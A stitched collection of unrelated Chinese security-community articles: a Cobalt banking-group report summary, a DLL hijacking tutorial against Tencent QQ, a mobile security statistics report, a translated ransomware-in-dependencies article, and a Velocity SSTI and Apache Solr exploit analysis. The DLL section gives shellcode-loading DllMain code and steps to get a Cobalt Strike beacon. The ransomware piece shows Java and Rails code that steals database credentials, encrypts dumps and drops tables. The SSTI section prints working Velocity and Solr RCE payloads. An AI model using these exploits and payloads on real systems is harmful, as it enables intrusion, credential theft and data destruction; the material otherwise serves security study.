Technologies及一些安全公司的研究人员近日发布报告，对Cobalt黑客组织进行了相关研究，并关于如何防范该组织网络攻击给出了相关的建议。
**2、报告摘要**
****
黑客组织Cobalt能够快速应对银行的防护措施。有的银行使用垃圾邮件过滤器屏蔽Cobalt发送的恶意邮件，但这阻挡不了Cobalt的攻击行动。Cobalt改变了攻击策略，使用供应链攻击手段（Supply
Chain Attacks）转而攻击这些银行的内部网络，Cobalt还以银行内部员工的名义，伪造发件人信息，从而使恶意邮件更具欺骗性。
黑客组织Cobalt目前已对银行、金融交易所、保险公司、基金公司和其他各类金融机构发起了网络攻击行动。而且，Cobalt还将恶意邮件的发件人伪装成一些认证机构，或者以安全相关内容等重要信息为邮件内容发送给攻击对象。
**3、黑客组织Cobalt的已知信息**
****
**4、黑客组织Cobalt的攻击对象**
****
Cobalt此前一直将攻击目标锁定东欧、中亚和东南亚的国家。但2017年以来，该组织的攻击目标扩大到了北美、西欧和南美的一些国家（例如阿根廷）。
Cobalt主要针对金融机构发送钓鱼邮件，占其发送邮件总数的75%。银行业是Cobalt组织的主要攻击对象，其他对象还包含金融交易所、基金公司以及借贷公司等。俄罗斯中央银行成立的网络安全中心FinCERT就曾预测，2017年在金融领域从事网络犯罪的获利将增加。
在攻击金融交易所时，黑客组织Cobalt能够通过“买卖”股票，刺激特定公司的股价快速产生浮动。这种股票操作行为不仅能够改变单个公司的盈亏，甚至还能对国家经济产生影响。黑客组织Corkow曾于2016年攻击俄罗斯联邦储蓄银行（Energobank）时运用同样的攻击手段，造成了卢布汇率下降15%，并使该行蒙受了2.44亿卢布（约400万美元）损失。
需要注意的是，Cobalt还会对政府组织机构发起攻击，以之作为垫脚石攻击其他目标。
**5、黑客组织Cobalt的2017年攻击行为**
****
2017年早些时候，我们注意到Cobalt组织开始大量注册非法域名。当这些域名被用于发送钓鱼邮件时，我们通知了目标公司的安全部门，以及俄罗斯中央银行的网络安全中心FinCERT，及时干预遏制了事态发展。
Positive
Technologies调查了2017年出现的Cobalt组织相关攻击事件情况。许多事件中，攻击者通过入侵一家公司的设施和雇员账户，继而对其伙伴公司发送钓鱼邮件（如：一些与银行存在资金来往的公司）。北美和南美、欧洲、独联体以及中亚和东南亚国家都受到了该组织的攻击影响。
许多攻击事件也都反应出Cobalt组织可能仅由少量人员组成。在该组织攻击活动最为频繁的时候，该组织的域名注册和钓鱼邮件发送活动会出现短暂的停顿。
**6、攻击手段**
****
Cobalt组织主要利用社会工程学对目标网络实施渗透——用户打开该组织钓鱼邮件中的恶意附件后，就会成为其用于收集合法公司和监管机构的“工具”。恶意附件中包含一个文本文件，能够从远程服务器上下载病毒释放工具，或者直接以加密文件形式存有相关工具。该工具将用于下载和运行其他恶意软件（Cobalt组织一般使用Beacon木马）。
（1）间接钓鱼攻击
Cobalt组织一改传统钓鱼攻击手段，更加注重躲避邮件过滤器的筛查，确保钓鱼邮件能够成功送达目标。
在一次目标邮件攻击（“鱼叉钓鱼攻击”）中，攻击者将使用之前注册的域名，选取其中与真实公司具有相似意思或拼写的域名。为了使邮件通过反垃圾邮件和杀毒工具检查，攻击者将在DNS服务器上为该邮件正确配置SPF记录，并引用正确的DKIM签名。这一方法将使发送方的邮件服务器地址绕过验证，但同时也留下了证据。
目前，Cobalt组织几乎在对所有银行业目标攻击中使用钓鱼邮件。
a.最初的感染入侵起始于目标伙伴组织的一个或数个已遭钓鱼邮件感染的电脑
b.针对目标伙伴组织的攻击进而演化为对内邮件攻击，相关恶意软件将以同事、管理部门或IT的名义传播。
c.恶意邮件将从目标伙伴组织的电脑发送至银行或其他金融机构。
（2）恶意附件
为了确保获得目标组织雇员电脑的远程访问权，Cobalt组织使用了一种能从商业渗透测试软件Cobalt Strike中获得的木马——Beacon。
该木马将在一种特殊的病毒释放工具的帮助下传播和运行。该工具包含.scr 或 .exe文件，可以通过以下方式在被攻击者电脑上安装：
a.包含于加密zip压缩文件中，钓鱼邮件内容提供了解压密码
b.打开钓鱼邮件中的恶意附件（.doc, .xls, .rtf)）时，从被攻击网站中下载
c.钓鱼邮件中附带的zip压缩文件包含LNK文件，执行其指令代码从被攻击网站中下载
（3）Cobalt攻击设备
通过对Cobalt组织钓鱼邮件进行分析，我们认为该组织通过钓鱼域名发送邮件时，借助了alexusMailer
v2.0软件的帮助。这是一种免费的PHP脚本文件，可以用于匿名发送邮件。
**7.总结**
****
银行业和其他公司必须认识到，网络攻击者将不断提升硬件能力和技术水平。在当前的环境中，各家公司都有可能沦为网络攻击者对真正目标发动攻击时所利用的跳板。这也是为什么商业公司不再可敢为其网络安全绝对自信拍胸脯的原因，黑客不再仅仅针对大型公司和银行或者偏远小国发动攻击。不管什么类型的企业，无论是银行或者是国家机构，还是其他的公司，都必须将电子设备加以严密保护，时常更新软件和操作系统。所有雇员也必须加强训练，提升安全意识，抵御钓鱼诱惑。除此之外，审查工作不能仅仅停留在来往邮件及其附件内容当中，需要经常回顾分析。当然，用于各大公司交流的网络应用软件也急需得到同样保护。
目前为止，还未获知Cobalt组织于2017年造成相关公司的损失的消息。 | 社区文章 |
# 0x01 Dll劫持技术介绍
动态链接库 .Dll，英文全称：Dynamic Link
Library。在Windows系统中运行可执行文件时，系统会调用相应需要的.dll链接库，系统的默认优先级规则是最优先调用是当前目录下的.dll链接库，寻找不到则去系统目录下寻找。
如果程序没有使用SetDllDirectory()函数设定dll加载绝对路径，则程序很大可能性即存在dll劫持注入漏洞。
# 0x02 Dll载入优先规则
Windows XP SP2及其以上版本系统默认dll链接库加载优先规则如下：
**启用** Dll安全模式搜索规则：
1.加载应用程序的目录
2.系统目录
3.16 位系统目录
4.Windows目录
5.当前目录
6.PATH 环境变量中列出的目录
**禁用** Dll安全模式搜索规则：
1.加载应用程序的目录
2.当前目录
3.系统目录
4.16 位系统目录。
5.Windows目录
6.PATH 环境变量中列出的目录
程序在执行的时候Windows系统会优先在当前目录下寻找所需要.dll链接库，如果寻找不到则再去系统目录下寻找。（上述优先规则仅限于Windows XP
SP2及其以上系统）
具体细节可查看微软官方文档：[动态链接库搜索顺序](https://docs.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order)
# 0x03 Dll劫持测试
系统环境：Windows10 21H2
VS环境：Visual Studio Community 2022
在vs2022中创建一个dll项目。在dllmain.cpp中写入一个DllHiJack函数。其功能是输出"Hello!Dll Hijack!"。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void DllHiJack() {
cout << "Hello!DllHijack!" << endl;
}
在framework.h中导出DllHiJack函数，
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void DllHiJack(void); //导出函数
新建一个Windows控制台程序“ConsoleApplication1.cpp”
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
typedef void(*Dllfunction)(void); // 定义Dllfunction函数类
Dllfunction GetDllfunction = NULL;
HINSTANCE hinst = LoadLibrary(L"Dll1.dll"); //动态加载dll链接库
if (hinst != NULL) {
GetDllfunction = (Dllfunction)GetProcAddress(hinst, "DllHiJack"); //获取函数地址
}
if (GetDllfunction != NULL) {
(*GetDllfunction)(); //函数执行
}
}
重新生成解决方案，执行"ConsoleApplication1.exe"可执行文件，输出"Hello!DllHijack!"。运行程序一闪而过，使用pause()函数挂载进程。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void DllHiJack() {
cout << "Hello!DllHijack!" << endl;
system("pause"); //挂载进程
}
# 0x04Dll漏洞挖掘及白加黑利用
准备工具：X64Dbg，ChkDllHijack ，AheadLib+
目标程序：腾讯QQ
X64dbg负责监控可执行程序运行时系统调用加载的dll链接库，可用其他相关的工具替换，比如微软的进程监视器：[Process
Monitor](https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon)，或者火绒剑（目前必须适配火绒主程序，官方暂未放出火绒剑独立版安装程序）：[火绒剑](https://huorong.cn/)
X64dbg是一款Windows平台下强大的反汇编逆向动态调试器，而并非专业进程监视器，更推荐选择使用Procmon或者火绒剑。
ChkDllHijack是一款自动化验证dll劫持注入漏洞工具，相同可替换工具也有很多，可以在著名网站[GitHub](https://github.com/)上通过搜索相应关键词寻找。
AheadLib是一款自动化dll劫持代码生成工具，由于原版仅支持x86，这里使用看雪yeyeshun大神的AheadLib+改版，更新了x64支持类/命名空间。
本文主要针对于以上三款工具进行漏洞挖掘以及利用。
工具下载链接：
[X64Dbg](https://sourceforge.net/projects/x64dbg/files/snapshots/)
[ChkDllHijack](https://github.com/anhkgg/anhkgg-tools/blob/master/ChkDllHijack.zip)
[AheadLib+](https://bbs.pediy.com/thread-224408.htm)
将腾讯QQ挂载到X64dbg调试，监控运行时系统以及程序加载的.dll链接库。
将其导入加载的.dll链接库名或绝对路径复制到ChkDllHijack进行批量验证。经过自动化验证，以下.dll链接库可被进行漏洞利用。
SspiCli.dll
利用AheadLib+输入劫持的dll链接库，输出.cpp代码文件。
腾讯QQ调用的"sspicli.dll"动态链接库绝对路径是"C:\Windows\SysWOW64"，SysWOW64是Windows为了让用户在x64系统环境下一样能够运行x86程序而创建一个子系统。该文件夹下存放的都是32位应用程序。所以使用的是AheadLib.exe来导出.cpp文件。以及在后面编译的时候也选择Release或者Debug
X86环境，否则编译出来运行将会导致cobalt strike不上线。
在入口函数处加载shellcode
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
char ShellCode[] = "";
void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
使用Release或者Debug编译，VisualStudio重新生成解决方案。
将原"sspicli.dll"重命名为"sspicliOrg.dll"，编译生成的*.dll重命名为"sspicli.dll"。
将"sspicli.dll"以及"sspicliOrg.dll"移动到腾讯QQ根目录下，运行腾讯QQ，Cobalt Strike上线主机。
# 0x05 总结
文章参考了网络上许多师傅写的相关文章，在此感谢网络上无私奉献的师傅们。本文是一篇比较适合新手向入门级学习的dll劫持漏洞以及白加黑利用的文章，讲解了漏洞成因，如何去挖掘程序中的dll漏洞，以及如何去进行相关的漏洞利用。当然dll劫持还有更多的利用姿势都值得大家去进行深度学习。 | 社区文章 |
# 360重磅发布《2021年第一季度中国手机安全状况报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
骚扰电话？垃圾短信？
隐私泄露？莫名被扣话费？
手机到底安不安全？
我们给2021年第一季度的手机安全状况
做一次全面体检
一起来看看吧！
## 超20亿次手机恶意程序被拦截
2021年第一季度，在360安全大脑的支撑下，360手机卫士累计为全国手机用户拦截恶意程序攻击约21.4亿次，平均每天拦截手机恶意程序攻击约2377.4万次。
## 钓鱼网站被拦截总数同比增长明显
2021年第一季度，360安全大脑在PC端与移动端共为全国用户拦截钓鱼网站攻击约252.7亿次，同比2020年第一季度（206.4亿次）上升了22.4%。其中，PC端拦截量约为250.7亿次，占总拦截量的99.2%，平均每日拦截量约2.8亿次；移动端拦截量约为2.0亿次，占总拦截量的0.8%，平均每日拦截量约221.0万次。
## 色情网站最易“钓鱼”成功
2021年第一季度，360安全大脑在PC端与移动端共为全国用户拦截钓鱼网站攻击约252.7亿次，同比2020年第一季度（206.4亿次）上升了22.4%。移动端拦截钓鱼网站类型主要为色情，占比高达70.2%；其次为境外彩票（18.6%）、赌博（9.9%）、虚假购物（0.8%）、金融证券（0.4%）等。
## “北上广”倍受骚扰电话困扰
从城市分布来看，广州市用户接到的骚扰电话最多，占全国骚扰电话拦截量的3.7%；其次是北京（3.3%）、上海（3.3%）、成都（1.9%）、深圳（1.9%），此外天津、重庆、东莞、郑州、济南的骚扰电话拦截量也排在前列。
## 你收到的垃圾短信里 10个有9个都是违法信贷
从违法短信拦截类型来看，违法金融信贷短信以89.4%的比例位居首位；其次为疑似伪基站发送（5.0%）、售卖信息（4.2%）、恶意催债（1.1%）等。
扫码关注公众号
回复关键词 **【报告】**
即可查看报告完整版内容 | 社区文章 |
# 【技术分享】基于程序库的勒索软件—瞄准开发人员
|
##### 译文声明
本文是翻译文章，文章来源：blog.sourceclear.com
原文地址：<https://blog.sourceclear.com/ransomware-in-deps/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
当前，勒索软件已经成为一种日益严重的威胁。例如，最近人们发现了一种称为“Locky”的勒索软件正在通过Facebook
Messenger大肆传播，而上周末，旧金山的地铁系统则遭到了勒索软件的入侵。今天，我们将深入了解勒索软件如何瞄准开发人员，通过依赖库进行传播。
**什么是勒索软件？**
勒索软件是一种通过阻止人们正常访问计算机系统来勒索赎金的恶意软件。之前，勒索软件主要针对台式计算机和移动设备，但是随着物联网设备的普及，它很可能会迅速扩展其攻击范围。
勒索软件这个概念与其他恶意软件有许多相似的地方：攻击者在受害者的计算机上获得更高的权限后，它们不是去搞一些毫无意义的破坏活动，而是试图通过勒索受害者来获利。这是因为，受到勒索软件攻击之后，计算机中的数据通常会被它们加密，需要交钱后才能“赎身”。
**可疑的依赖库**
那为什么要瞄准开发人员呢？要知道，他们通常更加技术精湛，并且很少安装可疑程序的。很明显，相对于绑架家用计算机来说，攻击开发者的机器的收益可能会更大，因为攻击者这样做的话，有可能控制一连串的生产环境中的系统。只要绑架的系统越多越有价值，移动勒索软件开发者就可以勒索更多的赎金。
这种勒索软件可以包含在无害的依赖库中。下面通过一个具体的例子来介绍它的工作原理。虽然这里使用的是基于Java（Spring）和Ruby（Rails）的示例，但是这些技术同样适用于其他语言和框架。
下面，让我们从一个使用MySQL的Spring MVC应用程序为例进行介绍。
<!-- pom.xml -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.9</version>
</dependency>
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password
hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create
此外，我们还将包括一个可疑的依赖库：
<!-- pom.xml -->
<dependency>
<groupId>org.evil</groupId>
<artifactId>evil-utils</artifactId>
<version>1.0</version>
</dependency>
它提供了一个供外部调用的EvilUtils.padLeft方法，它将作为Web服务的一部分被调用。
**反射**
攻击者一旦在应用中植入了恶意软件包，那基本上就可以为所欲为了。从某种程度上来说，这相当于在应用程序的环境中获得了远程代码执行能力，从安全的角度来说，这通常是灾难性的。
为了获得赎金，攻击者需要绑架一个足够重要的目标。在这里数据库是个不错的目标坐标，因为这是一个Spring应用程序，攻击者可以很容易找到它——只要获得Spring应用程序的上下文并定位正确的bean即可。
class EvilUtils {
// Access the Spring context
@Autowired
private WebApplicationContext ctx;
EvilUtils() {
SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
}
DataSource getDataSource() {
DataSource ds = null;
try {
ds = (DataSource) ctx.getBean("dataSource");
return new JdbcTemplate(ds);
} catch (NoSuchBeanDefinitionException e) {}
// ...
}
public String padLeft(String s) {
return " " + s;
}
}
如果这行不通的话，我们可以访问类加载器，并寻找一个具有返回某种DataSource的方法的类即可。
for (Class<?> klass : loadedClasses()) {
Method[] methods = klass.getMethods();
for (Method m : methods) {
if (m.getReturnType() != DataSource.class) {
continue;
}
// We've found a target!
m.setAccessible(true);
for (Constructor ctor : klass.getDeclaredConstructors()) {
// Instantiate the target bean and autowire its dependencies
if (ctor.getGenericParameterTypes().length == 0) {
ctor.setAccessible(true);
Object instance = ctor.newInstance();
SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
beanFactory.autowireBean(instance);
ds = (DataSource) m.invoke(instance);
}
}
if (ds != null) {
return ds;
}
}
}
进行反射，这样攻击者就可以通过它来获取数据库连接的各种细节了。
import com.mysql.jdbc.ConnectionImpl;
void getConnectionInfo() {
Field f;
f = ConnectionImpl.class.getDeclaredField("user");
f.setAccessible(true);
String username = (String) f.get(conn);
f = ConnectionImpl.class.getDeclaredField("password");
f.setAccessible(true);
String password = (String) f.get(conn);
f = ConnectionImpl.class.getDeclaredField("host");
f.setAccessible(true);
String host = (String) f.get(conn);
f = ConnectionImpl.class.getDeclaredField("database");
f.setAccessible(true);
String database = (String) f.get(conn);
// ...
}
然后，我们可以使用这里的凭证来创建一个新的连接来访问数据库。
下一步是设法让受害者无法访问数据。就目前来说，我们可以使用各种各样的方式来做到这一点；其中最简单的方法是将数据库内容转储到一个文件中，加密文件，然后删除所有数据表。
**PWN3D**
攻击者最后一步是确保受害者知道他们已经被“绑架”了，同时提供收款用的比特币地址。攻击者可以找到他们的模板文件，加密它们，然后用一个有趣的消息来替换它们。
void gloat() {
// Locate web resources
File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
String path = f.getPath();
int indx = path.indexOf("/WEB-INF/lib/");
path = path.substring(0, indx + 9) + "views";
// Replace them with our custom views
for (File template : getFilesFromPath(path)) {
if (template.getName().endsWith(".jsp")) {
encryptAndMove(template);
moveResource("pwned.jsp", template.getPath());
}
}
}
很明显，攻击者是不希望加密密钥出现在恶意库本身中的，因为这将使其易受逆向工程的影响。不过这不是个大问题，因为可以使用公钥加密技术，即使暴露一个密钥，受害者也无计可施。
这里介绍的技术还可以进一步优化，例如只在生产系统上面触发漏洞，或者添加一种方式来远程触发它。
**
**
**Rails**
这个攻击手法的Rails版本要简单得多：我们只需从ActiveRecord :: Base.connection_config
[：password]获取密码即可。这里是一个使用SQLite的完整漏洞的示例：
def delete_db
conn = ActiveRecord::Base.connection
if conn.adapter_name.eql? 'SQLite'
sqliteDb = ActiveRecord::Base.connection_config[:database]
puts `sqlite3 #{sqliteDb} .dump > dump.sql;`
# Encrypt file
file_path = `pwd`
encrypt_file(file_path.chop, 'dump.sql')
# Delete dump
FileUtils.rm_r "#{file_path.chop}/dump.sql"
# Drop all tables
conn.data_sources.each do |table_name|
conn.drop_table(table_name)
end
end
由于通过程序库访问数据库是一种正常的用法，所以很难区分哪些是恶意访问，哪些是无害访问。
一般来说，动态语言在这方面要更加脆弱，因为对它们进行静态分析的难度更大，并且在运行时违反封装和做事情的障碍通常更少。
**
**
**攻击向量**
我们提出的具体例子可能看起来有点勉强——它要求许多东西以特定的方式精确发生才能奏效。但是，它确实是可能发生的。
有人可能会说，让开发者依赖可疑的软件包是很困难的;但是事实却是——这容易得吓人。
即使对于包管理器来说，Typosquatting攻击也是一个非常让人头疼的事情。更何况，即使是最愚蠢的技术也常常能够让许多人上当；有时候，攻击者会发布一个软件的二进制版本，虽然声称是从正规渠道的源代码构建的，但是背地里却放入了蠕虫……当然，对于那些本身就有安全漏洞的包管理器来说，根本就无需依赖于社会工程了。此外，还存在更多的创造性的方法可以用来散布恶意软件包。
**结束语**
在使用第三方代码的依赖库时，会面临许多固有的风险。所以要对它们进行相应的安全审计，以防着了隐藏在它们中间的勒索软件的道。 | 社区文章 |
# 前言
**为什么说Java审计南在SSTI呢？**
1. 现行SSTI(Server-Side Template Injection ) 资料不少，但与Java，以著名的先知社区为例（如下图所示），关于SSTI文章也不过几篇而已，但与Java相关的一篇都没有。
2. 搜索CVE漏洞有关于SSTI的漏洞编号也不过只有几个而已。
3. 如果你是一名老司机，已经挖过ssti漏洞，那你是否知道payload构造原理呢？本文为你解惑！老司机可以直接跳转到后记看本文，或者你只是想看payload构造原理亦如此，本文篇幅较长，建议先收藏。
* * *
# SSTI 服务端模板注入
ssti服务端模板注入，ssti主要为python的一些框架 jinja2、 mako tornado 、django，PHP框架smarty
twig，java框架FreeMarker、jade、
velocity等等使用了渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。
// 漏洞源码
private static void velocity(String template){
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
// 使用Velocity
Velocity.evaluate(context, swOut, "test", template);
}
**POC**
`http://localhost:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)`
* * *
## **漏洞分析**
// Velocity.evaluate函数源码
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
}
* 设置断点开始调试
* 进入Velocity.evaluate方法查看方法详情
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
}
* 继续跟进查看，这个就是Java最常见的get方法(初始化)。也是Java的特性之一封装性。
* RuntimeInstance类中封装了evaluate方法，instring被强制转化(Reader)类型。
* 进入StringReader看看
* 在进入evaluate查看方法具体实现过程
public boolean evaluate(Context context, Writer writer, String logTag, Reader reader) {
if (logTag == null) {
throw new NullPointerException("logTag (i.e. template name) cannot be null, you must provide an identifier for the content being evaluated");
} else {
SimpleNode nodeTree = null;
try {
// 来到这里进行解析
nodeTree = this.parse(reader, logTag);
} catch (ParseException var7) {
throw new ParseErrorException(var7, (String)null);
} catch (TemplateInitException var8) {
throw new ParseErrorException(var8, (String)null);
}
// 判断，然后进入this.render方法
return nodeTree == null ? false : this.render(context, writer, logTag, nodeTree);
}
}
* 继续跟进render方法
* render方法里面还有一个render方法，真的是™烦。不过这个是simpleNodel类的render方法。
* **高潮激情部分** ，由于前面两个没有什么用，让我们直接跳到第三个看，进入render方法。
* 在这里我们不能发现有一个execute方法，这就是罪魁祸首。
* 让我们进行跟进方法，由于是重构的execute方法，还是得看清楚点原理。
// 截取的部分关键性源代码
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
}
previousResult = result;
result = this.jjtGetChild(i).execute(result, context);
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
* 上面的for循环我就不说了它的作用了，我们焦点放在previousResult （之前的结果）和result上面。
* previousResult = result;首先这行代码使其它们保持一致
* 当遍历的节点时候，这时候就会一步步的保存我们的payload最终导致RCE
* 完整的效果展示
* 完整的调用链
* * *
# 案例分析 --- Apache solr Velocity 模版注入
## 漏洞复现
这个漏洞是去年10月底爆出的漏洞，这里只做必要的简单复现，笔者在这篇文章里主要是分析，更加完整的[漏洞复现过程](https://blog.csdn.net/sun1318578251/article/details/102843715)参考。
1. 第一步修改配置，开启Velocity模版里`VelocityResponseWriter`初始化参数的`params.resource.loader.enabled`选项，该选项默认是`false`。查看[W3Cschool solr官方文档](https://www.w3cschool.cn/solr_doc/solr_doc-wcyd2hyj.html)可知，solr是配置api可以进行查看配置、修改配置的。
访问查看`http://127.0.0.1:8983/solr/test/config`配置信息
POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
* * *
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
* * *
## 漏洞分析环境搭建
笔者在此是使用远程代码调试的方式，分析源码。[源码下载地址](https://archive.apache.org/dist/lucene/solr/8.2.0/)windows用户可以选择下载这两个，这里笔者下载下载第二个。（下载第一个需要编译，过程自行百度）
1. 解压，将源码导入idea中，并配置idea中远程代码调试。
2. 在第二个下载压缩包路径CMD环境下（~~\solr-8.2.0\bin\），启动命令`solr start -p 8983 -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8983"`
3. 用idea打开项目，导入jar文件设置为library。（还有几处在solr-8.2.0\contrib\velocity\lib、solr-8.2.0\server\lib......）
4. 打断点调试代码。分析一个web项目首先我们得看web.xml文件`E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\web.xml`，看第一句，发现`在solrconfig.xml中注册的任何路径（名称）都将发送到该过滤器`。
5. 断点位置，为什么会在这里打个断点，笔者翻阅资料得知这里是核心位置。具体参考[solr源码阅读](https://my.oschina.net/haitaohu/blog/3078667)。
* * *
## 漏洞成因分析 -- 代码层
### POC第一部分
第一部分分析请查看[Solr配置API：Config API](https://www.w3cschool.cn/solr_doc/solr_doc-wcyd2hyj.html)文档，文档中说明的很清楚。PS：漏洞复现的时候也有说明。
* * *
### POC后部分分析
1. 笔者这里直接说几个关键的部分代码
第一步先处理请求
1. `E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\SolrDispatchFilter.class`跳转到`E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\HttpSolrCall.class` 先处理参数wt，设置为velocity。
2. 写入响应
3. 判断方法，写查询响应，进一步查看内容。solrReuest就是我们的payload。
4. 跳转到velocityResponWriter.class,会创建velocity模板引擎。在到133行的位置进入模板方法
5. 在这里会跳转到SimpleNode.class类（我们熟悉的类），第一步会设置指引，接着会到ASTReference.class 在第八的位置，会遍历方法，会执行命令。
6. 在这里会跳转到ASTMethod类中，执行。
7. 具体执行是velocity模板引擎中有一个ClassMap类中。
* * *
# 后记
## **知识补充**
在前面有涉及到JJTree、payload构造、JavaCC等知识，但笔者并没有详细的说明，笔者想先读者们简单了解一下这些知识，然后在说明一下简单做个简单说明。
## **#set语法**
#set语法可以创建一个Velocity的变量，#set语法对应的Velocity语法树是ASTSetDirective类，翻开这个类的代码，可以发现它有两个子节点：分别是RightHandSide和LeftHandSide，分别代表“=”两边的表达式值。与Java语言的赋值操作有点不一样的是，左边的LeftHandSide可能是一个变量标识符，也可能是一个set方法调用。变量标识符很好理解，如前面的#set($var=“偶数”)，另外是一个set方法调用，如#set(\$person.name=”junshan”)，这实际上相当于Java中person.setName(“junshan”)方法的调用。
## **#foreach语法**
Velocity中的循环语法只有这一种，它与Java中的for循环的语法糖形式十分类似，如#foreach($child in
$person.children)
$person.children表示的是一个集合，它可能是一个List集合或者一个数组，而$child表示的是每个从集合中取出的值。从render方法代码中可以看出，Velocity首先是取得$person.children的值，然后将这个值封装成Iterator集合，然后依次取出这个集合中的每一个值，将这个值以$child为变量标识符放入context中。除此以外需要特别注意的是，Velocity在循环时还在context中放入了另外两个变量，分别是counterName和hasNextName，这两个变量的名称分别在配置文件配置项directive.foreach.counter.name和directive.foreach.iterator.name中定义，它们表示当前的循环计数和是否还有下一个值。前者相当于for(int
i=1;i<10;i++)中的i值，后者相当于while(it.hasNext())中的it.hasNext()的值，这两个值在#foreach的循环体中都有可能用到。由于elementKey、counterName和hasNextName是在#foreach中临时创建的，如果当前的context中已经存在这几个变量，要把原始的变量值保存起来，以便在这个#foreach执行结束后恢复。如果context中没有这几个变量，那么#foreach执行结束后要删除它们，这就是代码最后部分做的事情，这与我们前面介绍的#set语法没有范围限制不同，#foreach中临时产生的变量只在#foreach中有效。
## **JJTree渲染过程解析**
下面是JJTree的语法树：
## **关于POC构造方法补充说明**
**VelocityResponseWriter 初始化参数**
* template.base.dir
如果指定并作为文件系统目录存在，则将为此目录添加一个文件资源加载程序。此目录中的模板将覆盖 “solr” 资源加载程序模板。
* init.properties.file
指定一个属性文件名，必须存在于 Solr 的conf/目录（而不是在velocity/子目录中）或者 <lib> 的 JAR 文件的根中。 </lib>
* params.resource.loader.enabled
“params” 资源加载程序允许在 Solr 请求参数中指定模板。例如：
`http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name
v.template=custom`表示要呈现一个名为“自定义”的模板，其值`v.template.custom`是自定义模板。默认情况下为`false`；它不常用，需要时启用。
